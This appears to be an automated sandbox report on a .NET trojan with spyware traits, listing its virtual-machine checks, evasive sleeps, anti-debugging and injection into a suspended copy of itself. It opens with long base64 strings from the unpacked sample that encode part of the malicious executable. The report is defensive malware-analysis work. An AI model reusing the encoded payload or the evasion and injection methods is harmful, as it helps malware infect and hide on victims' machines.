FBWVRCeEVIS0NjQUFBbzY4Z0FBQUJFRkVRWnY0QUFBQmhFRkVRZHY0Z0FBQmhFRkVRVCtCclFCQUFaekxRQUFDbjRNQVFBRUpTMFhKbjRLQVFBRS9nYTdBUUFHY3k0QUFBb2xnQXdCQUFRb0FnQUFLMi9rQUFBR0VRVVJCUDRHdFFFQUJuTXZ
Source: 4.0.JEPayKhzWa.exe.ef0000.0.unpack, SystemServiceModelChannelsServiceChannelICallOnce94314.cs	Base64 encoded string: 'VServiceModelChannelsWebSocketTransportDuplexSessionChannelcDisplayClass49144FZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFnQUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFCUVJRQUFUQUVEQU9OQ2ZxQUFBQUFBQUFBQUFPQUFBZ0VMQVRBQUFIQUJBQUFNQUFBQUFBQUE4bjBCQUFBZ0FBQUFvQUVBQUFCQUFBQWdBQUFBQkFBQUJBQUFBQUFBQUFBRUFBQUFBQUFBQUFEZ0FRQUFCQUFBQUFBQUFBSUFRSVVBQUJBQUFCQUFBQUFBRUFBQUVBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFLQjlBUUJQQUFBQUFLQUJBT1FFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQkFBd0FBQUNFZlFFQUhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFDQUFBQUFBQUFBQUFBQUFBQ0NBQUFFZ0FBQUFBQUFBQUFBQUFBQzUwWlhoMEFBQUE4R3dCQUFBZ0FBQUFjQUVBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUdBdWNuTnlZd0FBQU9RRUFBQUFvQUVBQUFnQUFBQjBBUUFBQUFBQUFBQUFBQUFBQUFCQUFBQkFMbkpsYkc5akFBQU1BQUFBQU1BQkFBQUVBQUFBZkFFQUFBQUFBQUFBQUFBQUFBQUFRQUFBUWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTlI5QVFBQUFBQUFTQUFBQUFJQUJRQXdvUUFBVk53QUFBTUFBQUF6QUFBR0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHekFKQVB3Q0FBQUJBQUFSY3hjQUFBb0tBbjRMQVFBRUpTMFhKbjRLQVFBRS9nYTZBUUFHY3hnQUFBb2xnQXNCQUFRb0FRQUFLMjhhQUFBS0N6aW9BZ0FBQjI4YkFBQUtGeGNaalVZQUFBRWxGaDhLalVjQUFBRWwwT2NBQUFRb0hBQUFDbk1kQUFBS29pVVhIbzFIQUFBQkpkRGZBQUFFS0J3QUFBcHpIUUFBQ3FJbEdCMk5Sd0FBQVNYUTVBQUFCQ2djQUFBS2N4MEFBQXFpS01JQUFBWnZIZ0FBQ2d3NElnSUFBQklDS0I4QUFBb05jN01CQUFZVEJIUHNBQUFHRXdVUkJINGdBQUFLZlFrQkFBUitJQUFBQ2hNR0VRUUpjeUVBQUFvb0lnQUFDbThqQUFBS2ZRa0JBQVFSQkhzSkFRQUVIdytOUndBQUFTWFE3d0FBQkNnY0FBQUtjeDBBQUFwdkpBQUFDaXdhSG8xSEFBQUJKZERhQUFBRUtCd0FBQXB6SFFBQUNoTUdLMDhKSHo2TlJ3QUFBU1hRcHdBQUJDZ2NBQUFLY3gwQUFBcHlBUUFBY0g0Z0FBQUtLQ1VBQUFvb0pnQUFDbThrQUFBS0xRNFJCSHNKQVFBRUtNVUFBQVlyREJFRWV3a0JBQVFveEFBQUJoTUdFUVlvSndBQUNqb3lBUUFBRVFZV2J5Z0FBQW9UQ0JJSUtDa0FBQXB2S2dBQUNoRUdGaGR2S3dBQUNpZ3NBQUFLRXdZUkJIc0pBUUFFS01NQUFBWVRCeEVIS0NjQUFBbzY4Z0FBQUJFRkVRWnY0QUFBQmhFRkVRZHY0Z0FBQmhFRkVRVCtCclFCQUFaekxRQUFDbjRNQVFBRUpTMFhKbjRLQVFBRS9nYTdBUUFHY3k0QUFBb2xnQXdCQUFRb0FnQUFLMi9rQUFBR0VRVVJCUDRHdFFFQUJuTXZ

Classification label

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/25@5/1

Creates files inside the user directory

Source: C:\Users\user\Desktop\JEPayKhzWa.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\JEPayKhzWa.exe.log

Jump to behavior

Creates mutexes

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7040:120:WilError_01

Creates temporary files

Source: C:\Users\user\Desktop\JEPayKhzWa.exe

File created: C:\Users\user\AppData\Local\Temp\tmp2C38.tmp

Jump to behavior

PE file has an executable .text section and no other executable section

Source: JEPayKhzWa.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Parts of this applications are using the .NET runtime (Probably coded in C#)

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Queries process information (via WMI, Win32_Process)

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Reads software policies

Source: C:\Users\user\Desktop\JEPayKhzWa.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Reads the hosts file

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Sample is known by Antivirus

Source: JEPayKhzWa.exe	Virustotal: Detection: 60%
Source: JEPayKhzWa.exe	ReversingLabs: Detection: 62%

Spawns processes

Source: unknown	Process created: C:\Users\user\Desktop\JEPayKhzWa.exe 'C:\Users\user\Desktop\JEPayKhzWa.exe'
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process created: C:\Users\user\Desktop\JEPayKhzWa.exe C:\Users\user\Desktop\JEPayKhzWa.exe
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process created: C:\Users\user\Desktop\JEPayKhzWa.exe C:\Users\user\Desktop\JEPayKhzWa.exe
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process created: C:\Users\user\Desktop\JEPayKhzWa.exe C:\Users\user\Desktop\JEPayKhzWa.exe			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process created: C:\Users\user\Desktop\JEPayKhzWa.exe C:\Users\user\Desktop\JEPayKhzWa.exe			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Users\user\Desktop\JEPayKhzWa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

PE file contains a COM descriptor data directory

Source: JEPayKhzWa.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: JEPayKhzWa.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

PE file contains a debug data directory

Source: JEPayKhzWa.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation:

Binary contains a suspicious time stamp

Source: JEPayKhzWa.exe

Static PE information: 0x99CD706E [Sun Oct 8 11:35:10 2051 UTC]

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_00F73509 push ss; ret		0_2_00F73534
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 0_2_00F73148 push ss; ret		0_2_00F73534
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 3_2_002C3148 push ss; ret		3_2_002C3534
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 3_2_002C3509 push ss; ret		3_2_002C3534
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 4_2_00EF3509 push ss; ret		4_2_00EF3534
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 4_2_00EF3148 push ss; ret		4_2_00EF3534
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 4_2_0305F100 push ecx; ret		4_2_0305F112
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 4_2_03052877 push ebx; ret		4_2_0305287A
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Code function: 4_2_05CD9C82 push ss; iretd		4_2_05CD9D17

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\JEPayKhzWa.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\JEPayKhzWa.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Contains long sleeps (>= 3 min)

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Window / User API: threadDelayed 924			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Window / User API: threadDelayed 8008			Jump to behavior

Is looking for software installed on the system

Source: C:\Users\user\Desktop\JEPayKhzWa.exe

Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\JEPayKhzWa.exe TID: 7100	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe TID: 6432	Thread sleep time: -15679732462653109s >= -30000s			Jump to behavior

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Source: C:\Users\user\Desktop\JEPayKhzWa.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Contains medium sleeps (>= 30s)

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: JEPayKhzWa.exe, 00000004.00000002.721021785.0000000006AE6000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: JEPayKhzWa.exe, 00000004.00000002.721021785.0000000006AE6000.00000004.00000001.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareA3VLLWVCWin32_VideoControllerP5LP2SPGVideoController120060621000000.000000-000832.2960display.infMSBDAHSFMW4GFPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colors1SSOX79Zk
Source: JEPayKhzWa.exe, 00000004.00000002.720977141.0000000006AC3000.00000004.00000001.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareA3VLLWVCWin32_VideoControllerP5LP2SPGVideoController120060621000000.000000-000832.2960display.infMSBDAHSFMW4GFPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colors1SSOX79ZT771ROOT\//?U
Source: JEPayKhzWa.exe, 00000004.00000002.712813148.000000000151C000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Queries a list of all running processes

Source: C:\Users\user\Desktop\JEPayKhzWa.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Enables debug privileges

Source: C:\Users\user\Desktop\JEPayKhzWa.exe

Process token adjusted: Debug

Jump to behavior

Creates guard pages, often used to prevent reverse engineering and debugging

Source: C:\Users\user\Desktop\JEPayKhzWa.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\JEPayKhzWa.exe

Memory written: C:\Users\user\Desktop\JEPayKhzWa.exe base: 400000 value starts with: 4D5A

Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process created: C:\Users\user\Desktop\JEPayKhzWa.exe C:\Users\user\Desktop\JEPayKhzWa.exe			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Process created: C:\Users\user\Desktop\JEPayKhzWa.exe C:\Users\user\Desktop\JEPayKhzWa.exe			Jump to behavior

Language, Device and Operating System Detection:

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Users\user\Desktop\JEPayKhzWa.exe VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Users\user\Desktop\JEPayKhzWa.exe VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation			Jump to behavior
